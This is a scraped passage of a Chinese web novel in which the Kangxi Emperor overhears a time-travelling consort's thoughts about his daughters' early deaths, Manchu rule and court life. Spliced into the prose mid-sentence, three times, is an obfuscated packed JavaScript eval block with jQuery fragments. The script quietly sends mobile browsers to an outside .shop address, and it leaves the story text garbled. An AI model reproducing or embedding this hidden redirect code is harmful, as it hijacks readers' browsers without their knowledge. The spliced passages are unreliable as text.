主殿的小隔间是康熙专门安排人给齐满月修整的,从哪里过去他自然也清楚,此时他熟悉得宛如进入自己的乾清宫一般,直接掀开隔间的布帘子。 只见云月和云朵一脸呆滞的看着齐满月对着桌子上的东西忙乎。 康熙踱步上前,看着桌子上已经看出大部分华美宫殿模样的东西,忍不住开口:“这是什么?” “吓!”齐满月吓得手中的加热的蜡油差点倒出来,幸好被康熙一把扶住,“小心!” “狗皇帝!”康熙疑惑半天没出现的熟悉的骂声如他所愿而至…… 33. 康熙的女儿们 耳边听着那如同贯口一样数落个没完的心声,康熙嘴角却扬起一抹笑意,他总算放心了,心声还在,系统也还在,更没有得到什么惩罚。 康熙的手臂揽在齐满月的腰背上,纤细瘦弱的腰肢落在他的手臂上,前一晚那昳丽的画面在他脑海里闪了又闪,可余光扫到窗外还大亮的天,无声叹了口气,这个点可不行。 齐满月没感觉到什么甜蜜的氛围,只觉得毛骨悚然仿佛要被人扒皮拆骨一样,她忍不住打了个哆嗦,赶忙抬头看着康熙。 她不是不想直接推开对方,只是她现在被康熙的手臂和桌子夹在中间,动弹不了,只能继续在心里骂康熙。 这几句骂得有些狠,打断了康熙满脑子被人知道一定会说是昏君的画面。 他尴尬的摸了摸鼻子,放开了齐满月,眼睛瞥向桌子上的东西,赶忙转移话题道:“这些是什么?” “火漆印章!”对方一说到自己喜欢的东西,齐满月果然就成功地被转移话题,脸上带着得意说道。 康熙听到对方心声戛然而止,心下不由松了口气。 “火漆?”他皱了皱眉,才从脑海里扒拉出一个简单的印象,“西洋的玩意儿?” 齐满月心下一紧,她这些日子过得实在逍遥,竟然忘记了身为纯粹满族家的贵族小姐,她应该是没有机会接触到这些西洋东西的。 想到这里,她忍不住舔了舔嘴唇,眼眸不自觉地瞄向不远处博古架上她之前做的那些西洋画风的布贴画和羊毛毡画。 康熙顺着她的眼睛也看向博古架,一幅幅用碎布做出的拼画,还有一些毛茸茸的偏立体的画作,他颇为感兴趣地踱步上前仔细打量。 身后的齐满月脸不由白了一瞬,她蹙眉看了眼云月和云朵,给她们使了个眼色让她们赶紧退下。 不管是露馅还是其他,只要房间里只有她和康熙两个人总能做到肉烂在锅里,不会将无辜者牵扯进来。 云月和云朵不明白她这是什么意思,可身为宫人的奴性本能还是让她们乖顺地行礼离开。 齐满月在康熙的身后紧皱眉头想了不知道多少个借口,最后终于下定决心打算开口解释的时候,康熙却已经站在博古架面前忍笑忍到极致了。 “这个毛茸茸的就是你上个月做的毛毡画?”他轻咳一声,指着一只配色大胆的鸟问道。 齐满月没想到对方竟然没追问,心下不由庆幸地松了口气,连连点头道:“是,臣妾突发奇想的,让皇上见笑了。” 康熙拿起一幅复杂的清宫红墙琉璃瓦的毛毡画,毫不客气说道:“朕觉得毛毡画比你的火漆印章有意思,可以教教朕吗?” “啊?嗯,当然可以。”齐满月愣了一瞬,才赶忙点头,也没打算叫人进来,直接自己走到一处多宝槅的柜子前,拿出各色彩色毛毡材料,拿出几根不同粗细的带着手柄的针。 康熙在一旁的画框前选了个一尺见方的。 齐满月张了张嘴,想和对方说新手别选那么大的,可看着对方一脸兴趣盎然的模样,又觉得如果自己开口,指不定这只暴龙会炸,还是算了。 她嘴上自然没说,心里却把心思暴露无遗,让康熙忍不住抽了抽嘴角。 至于换一个小的,身为皇帝他可不相信自己做不好一副大画。 只是当坐到操作台上,看着齐满月告诉他选好图,然后铺上彩色毛,之后就是拿针戳,他确实有点后悔了…… 两人就这样面对着面坐着,一个拿着巴掌大的画框戳着一个浅黄色的背景,齐满月打算今天戳一个立体画形式的九色鹿。 康熙则面对着一尺见方的画框,暗自咬着牙,好半天过去了,他计划戳的江山图一角都还没出来。 “啥!?康熙跟我学做手工!?好魔幻啊……”寂静的房间里,齐满月的心声悄悄冒了出来,“不过成为他的妃嫔更魔幻吧……” 康熙挑了挑眉,忍不住在心里回道:“魔幻什么?!当真的妃子还不好?!” “哎……谁能想到我一个新时代女性,受到了那么多的教育,学过那么多东西,到最后只能在这清宫里苟且偷生,一点都不敢暴露啊……” 康熙脸上刚刚还带着的几分轻松缓缓散去,他脑海中出现了一个长着面前人一样的脸,穿着相似服装的少女,抱着书册走在大街上。 他没见过未来什么样子,也没见过新时代什么样子,更不知道那时的齐满月会穿着怎样的衣服,梳着怎样的发髻,只能想着既然对方如此崇拜汉人王朝,那或许对方穿的也是结合了汉人服饰的衣服,梳着汉人的发髻,可脑海里却想起齐满月也曾提过的那段悲痛的历史。 身为异族统治汉人的统治者,他脑海里也想到了另一种剃发易服,那带着浓重汉人风格的衣服竟也多了几分西洋风格。 想到这里,康熙抬眼看了眼前方博古架上那些极具西洋风格的画作,心里不由有些五味杂陈。 “说起来……”齐满月还没怀念完前世,就抬眼偷偷瞄了一眼康熙,“康熙那些女儿还都很小或者没出生,我是不是可以稍微努力一下?” 康熙刚从思绪中回神,还没反应过来对方打算努力什么,下意识以为对方要努力给他生个女儿,心里不由荡漾了一瞬,立刻脑补出两人的女儿该长得多好看,要找什么样的额驸…… 只是他的脑补还没补完,齐满月的心声打断了他的美梦:“我记得他一生有二十多个女儿?” “二十多个?!”康熙心下一惊,他虽然从齐满月的心声里早已听到了九子夺嫡,确定了自己儿子至少能序齿到十四,可没想到自己还有那么多女儿。 难不成他以后生的基本上都是女儿?不等他胡乱揣测,齐满月的心声再起。 “可惜了,成年的只有8个。”齐满月的话让他心不由一沉,脑海里立刻想到之前齐满月说的皇贵妃的皇八女连满月都没活到。 “哎……让我想想……” 康熙戳毛毡的动作不自觉放慢,精神注意力几乎全放到了对面人身上,他想要知道他的女儿究竟怎么出的事! 如果让他发现有人动手脚,他必然要对方九族陪葬。 心里这样想着,可因为早些年死的孩子太多,康熙很明白,动手的可能性并不大,毕竟公主不涉及到皇位更迭,也不会有人想不开去做。 这次两人都处在安静不被人打扰的环境,又是封印时期没有政务叨扰,也就让齐满月终于在康熙面前完整的将一段历史讲清楚了…… “说起来,好像活到满30岁的只有4个,满50岁的只有两个,60岁的一个都没有啊……”齐满月暗自撇了撇看似正专心戳画的康熙,“狗皇帝,你的长命基因怎么就不传给女儿呢?” “但是又说起来,儿子好像长命的也没几个……”齐满月皱了皱眉,刚打算数一下哪个儿子活到几岁,就看到云月捧着茶点进来。 康熙被这么一打断,冷厉的眼神直接投向云月,把云月吓了一跳,赶忙将东西放下后行礼离开。 “狗皇帝!又吓我的人!”齐满月不满地撇了撇嘴,又怕康熙注意,赶忙拿起点心吃了一口,又感觉不对,赶忙又推了推盘子,故作谄媚道,“皇上,先吃点东西吧。” 康熙轻嗯了一声,捏起茶点吃了一口,只是他眼神依旧有些发直,心里全是在想万一齐满月又跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590318|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 偏,该怎么偷偷暗示她跑回来。 “呼……吓死我,我刚刚想到哪里来着?”幸而,齐满月的思绪还是接上上集后续了。 “阿哥的寿命啊……算了,想了也跟我没关系,倒是公主们可不一样……”心声是接上了,可结果却不是康熙现在想要的。 只是想到现在几个女儿,他还是暗自叹了口气:“算了,知道女儿的寿命也挺好。” 齐满月此时的心声却叹了口气:“说起来,年幼的公主里除了额娘有名的,其他我还真不记得了。” 就当康熙心不由一提的时候,心声再次响起:“大的……啊,皇五女相传被驸马踢死的……” “咔嚓!”木制的针柄在康熙手中断裂。 看着掌心被木刺扎出的些许血点,康熙直接翻过手压下,才对一脸惊呆看着他的齐满月故作轻松说道:“看来朕需要好好斥责一下内务府,给后宫的东西如此不耐用。” 齐满月总觉得对方手好像被扎伤了,只是她现在的角度实在看不清对方的手心,只能当是错觉,呆呆地点头:“嗯……嗯,臣妾给皇上再拿个新的。” 康熙却一把将她按在座位上:“朕去自己挑挑,正好朕很好奇你的多宝槅。” 见他起身过去,齐满月虽然觉得哪里不对,但也没多说什么,反正这位爷做啥好像都很正常,她又劝不了。 康熙背对着她,用多宝阁里更细一些的针将手心里的两个木刺挑出后,看着已经看不出什么的手心,才松了口气,随手拿了根和刚刚那根很像的针回到桌子前。 齐满月见他动作如常,便只当自己想多了,就继续做着自己的事情,慢慢地环境再次安静下来,她的思绪也随着继续跳跃…… “好像有个皇九女,是德妃的闺女,陪太后去热河中暑死的,才二十岁啊……估计是热射病,这病别说这个时代,就算是前世一旦发现晚了,也是九死无生啊……” “老十三……他仅有的两个妹妹啊,一个23岁难产死,也成了清朝官方记载中唯一一个死于难产的公主啊,另一个才19岁归宁病逝,简直是……” 听着对方心声里女儿们一个个早逝,康熙有些不知道该怎么形容自己的心情,习惯吗?不是,无论到什么时候无论死的是已经存在或者还未出生的女儿,对他而言都是自己的孩子,怎能不心痛,只是他好像也做不了什么…… “还是海蚌公主厉害啊!不仅活了57岁,还实际掌管漠北地区的事务,完美达成了抚蒙婚姻最理想的状态。” “可惜啊……”齐满月再次偷瞄了康熙一眼,才放心在心里吐槽,“要是他每个女儿都像海蚌公主一样教导,到时候嫁出去,去各地当女王或是实际掌权者,不比养得符合闺训后的闺阁女子强?啧,我得想个办法看能不能插手下公主的养育,我可不想自己生的孩子会这样倒霉……” 康熙最初听到“海蚌公主”四个字的时候还忍不住皱了下眉,暗自腹诽道:“这什么奇怪的名字。” 不过转瞬他就明白过来,这是满语“参政、参谋”的意思,他眼神不由一亮。 后续齐满月的话证实了他的猜测,让他心下不由一动,下一瞬就觉得这竟然是个好主意,不过转瞬间他想到了朝臣可能会反对,眉头又不由皱紧。 “砰!”他猛地起身,带动了凳子的挪动,吓了齐满月一跳。 “朕去一趟慈宁宫。”康熙直接快速交代一声,就起身离开。 快走出门时他不忘交代齐满月:“东西放着,朕晚些再来。” 齐满月只能茫然地看着他如一阵风一样,消失在眼前,徒留绣花棉布帘晃了晃又安静下来…… 34. 新的可能 “你是说……?”康熙来找自己的这件事也算在孝庄的猜测中,毕竟彼此都是执行者,相比于找两个孩子商议,有些事两人商量才是最合适的,只是她没想到康熙来得那么早。 “孙儿觉得齐佳氏所言有道理,大清需要蒙古戍边,自然要像过去一样世代将公主嫁过去,可同样的,若是公主都是柔弱的闺阁女子,那岂不是没有什么意义?” 孝庄沉默了一瞬,她出身蒙古科尔沁博尔济吉特氏,当年顺治能够顺利上位,她的出身未尝不是其中原因之一,她的女儿们也都嫁在了蒙古。 她的长女雅图被她嫁给了娘家侄子,她的次女初嫁是喀尔喀部,后嫁成吉思汗后裔巴林部,如今被奉为“巴林公主”,她最小的女儿……那个只活了16年的少女也被嫁入了蒙古扎鲁特部。 可以说她的骨血基本上都回到了她的故土,她无法接受也不希望满蒙两族成为彼此防备算计的对象。 可身为曾经的政治统治者,作为一个曾站在一个帝国巅峰的人,她心里很清楚,爱新觉罗氏作为皇族对蒙古一定要怀有警惕之心,手段也一定是平和地安抚配合武力的镇压。 康熙看懂了她的沉默,他在这位祖母身边长大,自然非常了解对方,但他很清楚,自己的祖母一定会做出一个理智的决定。 康熙眼眸微微一动,轻声开口道:“额涅玛玛不要怪孙儿鲁莽,只是那齐佳氏口口声声我们异族不如汉人更是遭受到了汉人的鄙夷,那我们何不做出顺着齐佳氏的想法作出一些改变。” 不等孝庄开口,他继续说道:“我们不得不承认我们治国不如汉人,汉人有许多东西值得我们学习,但……有些东西却不需要。” “前明时,世人把裹脚视作贵贱之别,明朱理学提出性命事小失节事大,本就是针对那些失去脊梁骨的文人,可自我爱新觉罗氏掌握天下,那些酸儒便将无法反抗的骨头压在了女人身上,要求女人们裹脚以示区别于我等蛮夷,要求女人守节以此证明自己的贞洁,甚至喊出了男从女不从的话来。” “孙儿当初想着,那就不如推波助澜,先改变汉人女人之后就是汉人男子,慢慢地,男人、女人不都一样吗?” 康熙的嘴角勾起一抹冷笑:“幸而当年杀了一批骨头硬的,留下一批骨头软的,不然……孙儿的想法怕是很难实现。” 孝庄意外地抬眼看了他一眼,她本以为自己这个孙子在动心后,会改变自己的立场成为先帝那样的,推崇汉学的人,却没想到他骨子里还有这样的算计。 只是…… 孝庄细细琢磨了一番,觉得对方的话对他们爱新觉罗的统治来说,并不是什么坏事。 “现在汉人的男人们为了表示自己的贞洁又怕失了性命,就要求女子裹脚,要求女子无才便是德,那咱们满人就偏要公主们学习政务,未来掌权一片天地,他们又该如何说我等是蛮夷?!难不成只有约束女子才是礼节不成?” “后宫女子……”孝庄紧皱眉头,想到另一处。 康熙缓缓摇了摇头:“若后宫女子都是无才便是德的,那又何必要她们入宫后还要读书识字?只要帝王的手段足够,又何怕女子摄政?额涅玛玛若是担心天下再出一个武则天,倒也无须担心,世间的男子比你我更怕……” 孝庄听后,默默沉默下来,在心中细细盘算。 康熙却暗自叹了口气,也不知道若是齐佳氏知道了他的想法会说什么。 往日那些数落他骂他的话一点点出现在他心里,让他心中产生了一瞬动摇,可转瞬他就又说服了自己,朕也想证明,朕的天下不比汉人的天下差,满人和汉人相比也不是一无是处不是吗?至少从先辈开始,他们就是反对裹脚这样的恶俗的,可这不是汉人推崇的吗? 齐佳氏凭什么不能称赞他们大清一句,后人为何不能称赞一句呢? 齐满月不知道康熙的想法,若是知道她恐怕会直接回一句:“因为相比于这一点小的好处,将华夏这个文明彻底毁掉的罪过更大,大到恐怕很多很多年之后后人依旧会怒骂满清。” 齐满月此时还不知道他的想法,也没有机会说出这样的反驳,现在的她沉浸在自己的手工中,丝毫没注意,时间一晃就到了太阳下山的时候。 “主子,要不要用点晚点?”云月端着饽饽进来,轻声问道。 齐满月这时才发现已经到了这个时候,她看了看窗外,捏了个饽饽吃了几口后才问道:“皇上还没来?” 云月点了点头:“嗯,听说还在慈宁宫。” 齐满月眼眸在桌子上康熙那还没做完的手工上转了转,一时间也不知道该不该吩咐人收起来。 正想着,云朵急匆匆地走来:“主子,皇上来了!” 齐满月赶忙拍了拍手上的渣滓,起身去迎接。 “朕来晚了。”康熙面色如常地拍着她的手,拉着她就进了隔间。 齐满月落后了他半步,眉头微蹙小心打量了他一番,心声也随之传了出来:“他怎么这个点来了?总不能今天还在这里留宿吧?!” 康熙最初是没有留宿的想法的,毕竟今天他被齐满月的心声震惊到又和孝庄谈了那么久,早没了留宿的精力,现在过来也是想过来看看对方,只是此刻听到齐满月的心声不由眉心一动,觉得这个也未尝不是个好主意。 心里虽然这样想着,可实际上康熙并没有直接拉着齐满月往内室走,反而继续走向手工隔间。 “陪朕做完。”他点了点桌子,直接坐下开始继续戳。 齐满月忍不住嫌弃地偷瞥了对方一眼,才无奈坐到对面,她这一下午早就把自己的九色鹿做好了,此刻环顾四周想了想,才将做到一半的火漆画拿了过来。 康熙抬眸看了她一眼,瞥见一旁做好的九色鹿,又低头看了看自己手中连二十分之一都没有的作品,觉得也不是不能算一件好事。 他嘴角微微勾起,把正巧看到的齐满月惊得忍不住后背发毛。 “咋了?!他笑啥!?”齐满月再次偷偷看了看康熙后,还是垂头认真做自己的事,“算了,随他吧,反正又不能杀了我。” 康熙嘴角忍不住撇了撇,算了,对方怎么揣测都随便吧,反正现在看来他是很难从对方心声里得到几句称赞的。 “不愧是曾经被称为千古一帝的人啊,学习能力就是好。”不承想下一瞬,齐满月的称赞就转瞬而至。 “这位爷可是学贯中西,还和路易十四互赠礼物,可惜了……”只是还不等康熙心上涌出喜意,齐满月的话锋就已经转了方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596065|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 向。 “只是眼光啊……”康熙还以为会等来齐满月下一段嫌弃或者批评的话,却没想到等来了一声叹息。 “该说是眼光短视吗?身为帝王,还能被称为千古一帝的人不至于吧……估计就是后世猜的那样,纯是身为帝王害怕汉人学到这些东西反抗满清罢了。” 康熙指尖一顿,不禁微微颤抖,他此刻不知道该愤怒还是该厉声反驳,亦或是……那股他自己此刻无法忽视的被戳中真相的恐慌。 “其实也能理解。”齐满月的心声打断了他下意识想要起身的冲动,“到了现代满蒙两族都成了少数民族了,他身为异族皇帝恐惧人口庞大的汉人倒也算正常心理,只是身为汉人还是很难接受啊……” 康熙心下一动,那种被人戳中心底阴暗面的恐慌和被人理解的动容交叠在一起,让他一时间表情空白不知道该作出怎样的反应。 “算了,搞得好像我开口就能劝说这位掌控欲吓人的皇帝能够大刀阔斧地改革一样。”齐满月感慨了一句后,心声就转到了无意义的对作品的称赞。 康熙无奈叹了口气,心神也随着对方那些带着雀跃的称赞渐渐开明起来,很快房间里安静下来。 时间快速流逝,很快来到晚上该休息的时间。 “咦!?这人真打算在这里睡了!?不要啊,这样连续两天留宿我这里,我会被骂妖妃吧!?”齐满月伸了个懒腰,看了眼康熙专门送的西洋钟,忍不住在心里惊叹道。 康熙从沉浸中回过神来,揉了揉有些僵硬的脖颈,才发现时间确实已经很晚了,他暗自看了眼一脸满脑子乱七八糟的齐满月,眼眸深邃。 “啊啊啊!他看我干嘛!?我……我要说些什么嘛?是不是该开口赶人?正常妃嫔会怎么做?留下来?这样不好吧?!”齐满月双眼呆滞,从外面看,丝毫看不出她的脑袋里马上就被连珠炮一样的疑问句占满了。 康熙这次真的没忍住,轻咳着低头遮掩住扬起的嘴角后,才开口说道:“梁九功,朕今日留宿永寿宫。” 外面梁九功好似完全不意外康熙会有这样的决定一样,干净利落地应了一声。 “啊啊啊!真的要留宿!我咋办?我要做什么?昨天喝太多没印象了,我……我……” 康熙看着齐满月耳朵渐渐染上粉意,不禁故意调侃道:“怎么?不欢迎朕留在永寿宫?” 齐满月咽了咽唾沫,强压下满脑子里的乱七八糟才说着:“那个……皇上,这不合规矩。” 康熙挑了挑眉,身体往后轻轻一靠,似笑非笑地看着齐满月:“朕就是规矩。” “咦!好油腻!”他期待着对方心声里会是什么反应,没想到竟然是一句嫌弃。 油腻?!他哪儿油腻了?他每天都洗得很干净的! “可是……皇上……呀!”齐满月猛吸一口气,依旧打算开口劝人离开,却不承想康熙两个跨步走到她面前一把将她抱起。 “行了,朕的话就是圣旨!”康熙暂时不想听对方的嫌弃,更不想离开。 两人就这样顶着宫人的眼睛,从隔间出来直接走到内室去。 云秀等人自然是难掩欣喜退下,乾清宫的宫人则下意识瞪大了眼睛,将永寿宫襄嫔受宠的念头在心中再次加深。 35. 慈宁宫会晤 冬日的日光实在谈不上炎热,宫人们早早地将回廊的雪帘升起,让久违的日光可以透过华丽的回廊照进到各个屋子里。 这股子不算炎热却足够明亮的日光就这样穿过屋檐,洒进主殿照射到宝蓝色的床帷上,将床帷上平日里不易察觉的暗纹照得清清楚楚。 忽地一只白皙的手从中探出,纤长的手指上是粉嫩的甲片,再往上去,削弱的手腕、细腻的肌肤,直至一节绣着精美袖口的金黄色寝衣。 一双更大骨节分明的手从床帷的缝隙中伸出,轻轻地附在那双白皙的手上,然后揉捏了两下轻握着一起消失在床帷中。 没多时,里面传来女子的声音:“臣妾是不是错过请安了?” “没事儿,一会儿陪朕直接去慈宁宫就是,正好你也要去谢恩。”康熙的声音还带着几分慵懒,他歪了歪头斜睨着脸上带着忐忑、心里却不住开心欢呼的齐满月,嘴角勾了勾,“再睡一会儿。” 齐满月还没来得及回他,就被他一把按进被窝里。 厚实的被子压在身上,里面的暖意就像是被施展了魔法一样,吸引着她无法开口拒绝。 “皇上……?”可他们也没躺太久,外面的梁九功就听到了里间的动静,赶忙轻问。 “嗯。”康熙无奈叹了口气,对外应了一声,又拍了拍齐满月,才直接坐起身来。 起床、洗漱、更衣、梳妆…… 一套流程下来,太阳已经爬得更高了。 齐满月歪了歪头,下意识就想找钟表看一下几点了,旁边的云秀看出她的举动,小声上前提醒:“快巳时了。” 齐满月作为一个地道的新时代女性,对于传统的时辰计时并不敏感,下意识就在心里算起来“子鼠、丑牛、寅虎……” “按照西洋人的算法,应该快9点了。”康熙背对着她,听着她一个个算,忍不住揉了揉眉心,开口提醒道。 他怕自己不提醒,对方可能会先数一遍十二生肖,再算一下哪个时辰对应哪个生肖,怕是算到从慈宁宫回来都算不明白。 “我谢谢您!”齐满月并没有如康熙以为的那样心中感谢他,反而是暗自翻了个白眼儿,偷偷吐槽道,“人家西洋人也有国家之分啊,回头还是要想办法提醒一下发展国家科技啊,不然很快就被老外反超,然后八国联军进北京火烧圆明园,各国分割华夏建立租界……哎,百年屈辱啊……都怪康熙!都怪满清!” 康熙猛吸了口气,他算是知道了齐满月和系统口口声声的百年屈辱是什么了! 他的大清竟然落到这样的地步?!何等没用的后世子孙,都是老四和他孩子们的错! “我该怎么提醒这位因为恐惧汉人,哪怕懂西方科学也不愿意让百姓学习的狗皇帝呢?”齐满月垂眸让云秀等人给自己装扮,思绪沉浸在自己的打算中,丝毫没注意旁边康熙不住翻着的白眼。 宫人们不敢直视圣颜,自然不知道他这毫无形象的举动,只觉得今天这两个主子似乎有些安静。 “朕赏了那么多布料,怎么都没多做几身衣裳?”康熙看着齐满月穿了一件偏月白色的旗袍忍不住皱了皱眉。 “臣妾觉得这颜色正好。”齐满月打断思绪,透过镜子对他微微一笑,心里却忍不住吐槽道,“您老人家看看这宫里布置,再看看我那金黄色寝衣,我的妈呀,我都超多少规制了,再天天穿着各种违制的衣服首饰,也不怕那些宠妃吃了我。” 康熙没想那么多,在如今的后宫里他早已定下来较为严苛的宫规,尤其是服饰更是有着一套复杂的规定,尤其是对于黄色的使用可谓是极为严格。 他赏的那一匹金黄色布料本身也只是觉得上面暗纹秀气很适合齐满月,本以为对方会做身新衣裳,却没想到竟然悄悄做成了寝衣。 “虽说嫔位多为蓝色衣料,但朕也赏了你不少红色彩锦,你皮肤细白,穿红色好看。”康熙眼尖地看到衣柜里一套崭新的红色旗袍,直接对云月吩咐道,“给你们娘娘拿那一件。” 这是一件大红色的织锦面料所做的,当时内务府送来的时候把云秀等人吓了一跳。 因为这样的颜色本是皇后、皇贵妃这样高阶嫔妃才能用的,齐满月纵然是一宫主位也不过是嫔位,自然没有资格穿这个颜色。 更不用说,现在算是康熙期偏早期,整个后宫风格都是简朴的,便是几个妃位还有贵妃常服也多是以蓝色系为主,少有一些紫色或偏红色系,更是有着常服不备彩的规矩。 可偏偏这一身大红旗袍上面绣了不少花鸟鱼虫,可谓是华美至极,也让齐满月当时受到时下意识以为是谁打算暗害自己,还是内务府来送衣服的宫人解释是皇上吩咐的后,才让人赶紧藏了起来。 “要不……那件明黄的吧。”齐满月可不想再接二连三打破侍寝规矩后再穿着这么一身挑战满宫的嫔妃,赶忙指着另一套不备彩的明黄色旗袍说道,“那也是皇上赏的料子做的,也是新的呢。” 衣服在柜子里的时候,康熙还没觉得如何,等拿出来他就有些后悔了。 这件料子他还有印象,那日他看着进上的单子,下意识将这匹布料指给了永寿宫,还点名要求做成备彩的常服,之后他就忘记了,却没想到内务府做得这样华美。 这样的颜色,这样的装饰,他自然明白以齐满月如今的身份是没办法穿出去的,看着她选中了一件明黄色的,只能点了点头。 明黄色虽也是越级使用的颜色,但他往日也赏过不少小贵人、答应这些小嫔妃一些明黄的料子。 齐满月又重新换上明黄色的旗袍,头上的饰品也随之换了一套稍显华贵的,才起身。 康熙上下打量了下她,只觉得在明黄之下齐满月本就娇艳的容貌越发耀眼,更多了几分雍容华贵:“嗯,不错。” “我深刻怀疑小四爱给狗狗做衣服打扮的习惯遗传自这位爷。”齐满月狐疑地转了一圈,又从云秀等人同样惊艳的眼神中得到了安慰,看起来真的很好看,“我怎么感觉我像是奇迹暖暖啊。” 奇迹暖暖?康熙脑子里冒出一个大问号,他从开始到现在听过很多次从对方心声里传来的陌生词汇,有时候他甚至会有种莫名的无力感。 此时这样的无力感还不曾出现多久,齐满月就开口打断了这段情绪:“皇上,现在直接去慈宁宫吗?” 康熙点了点头,又让宫人拿来一件厚实的氅衣给她亲手套上:“你身子弱,少穿那一口钟,直接换上厚实氅衣就是。” 齐满月被他的动作吓得都没反应过来,等反应过来时已经被他拉着走出了门。 一路上摇摇晃晃,很快就到了慈宁宫,两人下了轿辇,康熙等着她走上前才拉着她往里走。 齐满月是满心都不适应,可没办法她实在没力气挣脱,此刻她无比怀念自己前世的力气,她可是学过三年泰拳的女人啊,揍一个康熙应该还比较容易的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596066|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >却没想到这心声落在前面康熙耳中,只引来一次意外的挑眉,这女人竟然想和自己打一架?就她现在的小身板,让她一百拳也没用。 至于前世?康熙才不介意,就算对方现在练三年泰拳,他也有资本骄傲于自己的武力值,毕竟他此时可是能拉开十五力的弓,发十三握箭。 齐满月本以为此时的慈宁宫只有太皇太后和太后,毕竟早已过了嫔妃请安的时间,可没想到太后不在,但太子、胤禛都在。 她愣了下,转瞬明白可能是两位阿哥请安后被太皇太后留下没走,却发现胤禛旁边,本该在承乾宫休养的皇贵妃也在。 齐满月赶忙挣开了康熙的手,恰好康熙也在此时松手,倒也没让她费多少力气就将手收回。 彼此行了礼,又各自坐下,孝庄才开口说道:“老身有些无聊,这些日子你也不来陪着老身,就把孩子叫来了,皇贵妃正巧也来陪我,你今日又来了倒也算有缘分。” 她虽然表面上是这样说,实际上却是故意安排众人同聚,毕竟有时候她和康熙商量的教育公主的事情,正巧也要找两个孩子交代,而皇贵妃是胤禛养母又是如今的后宫之主更是无法避开,却没想到竟然碰到齐满月来请安。 想到这里,她忍不住嗔怪地看了眼康熙,都怪皇帝胡闹。 孝庄脑海里闪过刚刚两人手拉着手相携而来的样子,在心里不由叹了口气,俊男美女确实般配,可惜了……说着她瞥向一旁面色如常的皇贵妃。 皇贵妃自然感觉到了她的视线,她也想到了刚刚两人相携而来的亲密,心中涌上一阵酸涩,可转瞬又想明白了,她这样的场景自然看过不止一次,那宜妃德妃都受宠多少年了。 康熙倒没想那么多,如今他正处在开心之中,对于自己对齐满月的宠爱会不会让其他妃嫔心里难受,那不是他需要思考的事情。 “我靠!”几人面上正打着机锋,却没想到一旁本是静静坐着的齐满月,心里突然发出一阵惊呼。 四人目光齐齐投向齐满月,无法听见的皇贵妃扫了眼四人的视线,瞬间明白过来,轻轻扯了扯胤禛的衣袖。 胤禛看了她一眼,又看了看齐满月,正打算要怎么给皇贵妃讲这件事,就听到齐满月的心声再起。 “这狗皇帝,孩子都生了那么多了,技术怎么还那么差啊……我的老腰啊!” “咳咳!咳咳!”除了胤禛,太子和孝庄还未喝进嘴里的茶直接喷了出来,然后一阵撕心裂肺的咳嗽声响彻大殿。 康熙则脸黑得有些吓人,他猛吸着气,将涌上心头的怒意和羞窘强行压了下去,又不忘白了一眼年纪小却莫名知道这话什么意思的太子。 至于同样暗自偷笑的孝庄,他自然没胆子瞪过去,只能顶着一双微红的耳朵给对方递了个祈求的眼神。 孝庄没想到齐满月会蹦出那么一句,此刻虽然难以压下心中的好笑,却也知道已经二十七八岁的康熙很要面子,还是别真把皇帝惹毛了,到时候不敢怪罪她,倒把罪过怪在孩子身上就不好了。 旁边的皇贵妃被几人的反应吓了一跳,下意识将视线转向一旁的胤禛。 胤禛是真没听懂,他略作犹豫后,还是趴在了皇贵妃耳边轻轻讲了一句。 皇贵妃脸上顿时染上一丝浅红,她偷偷瞥了眼黑着脸的康熙,又看向齐满月,下意识想给对方竖起个大拇指,不过她心中还是产生了一丝疑虑,技术好……是怎么个好法? 36. 震惊和震惊 皇贵妃对这位灵魂来自后世的晚辈口中的技术好可谓是颇为好奇,她温柔的眉眼悄悄在康熙身上转了转,还是没想出来所谓的技术好该是怎样的,毕竟她没怎么觉得皇帝技术差。 想到这里她不由暗自叹了口气,也不知道未来是个什么样子,竟然能够养出这样大胆的女子,若是她能够生活在那个后世就好了…… 这一想她就有些入神了,以至于竟没发现旁边的胤禛时不时偷偷打量她的眼神。 偏偏这个眼神落到了胤禛对面的太子眼中。 他颇感意外地看了看胤禛又看了看皇贵妃,眼眸微微垂下,随后不久便露出几分笑意,那笑意极为冰冷带着幽深和满满的算计。 坐在上座的孝庄低头喝茶的动作微微一顿,暗自扫过皇贵妃和胤禛,最后落在太子身上。 她看向皇贵妃的眼神称不上温暖,甚至带上了几分冰冷,尤其是落在对方肚子上的眼神,远不如她看向两个孩子时还带了几许关爱。 后来落在太子的眼神中多了一些可惜,她在心中微微叹了口气:“太子啊……” 康熙还在看着丝毫不觉得什么的齐满月,牙根咬得痒痒的,只恨不得现在就让对方感觉下什么是好技术! 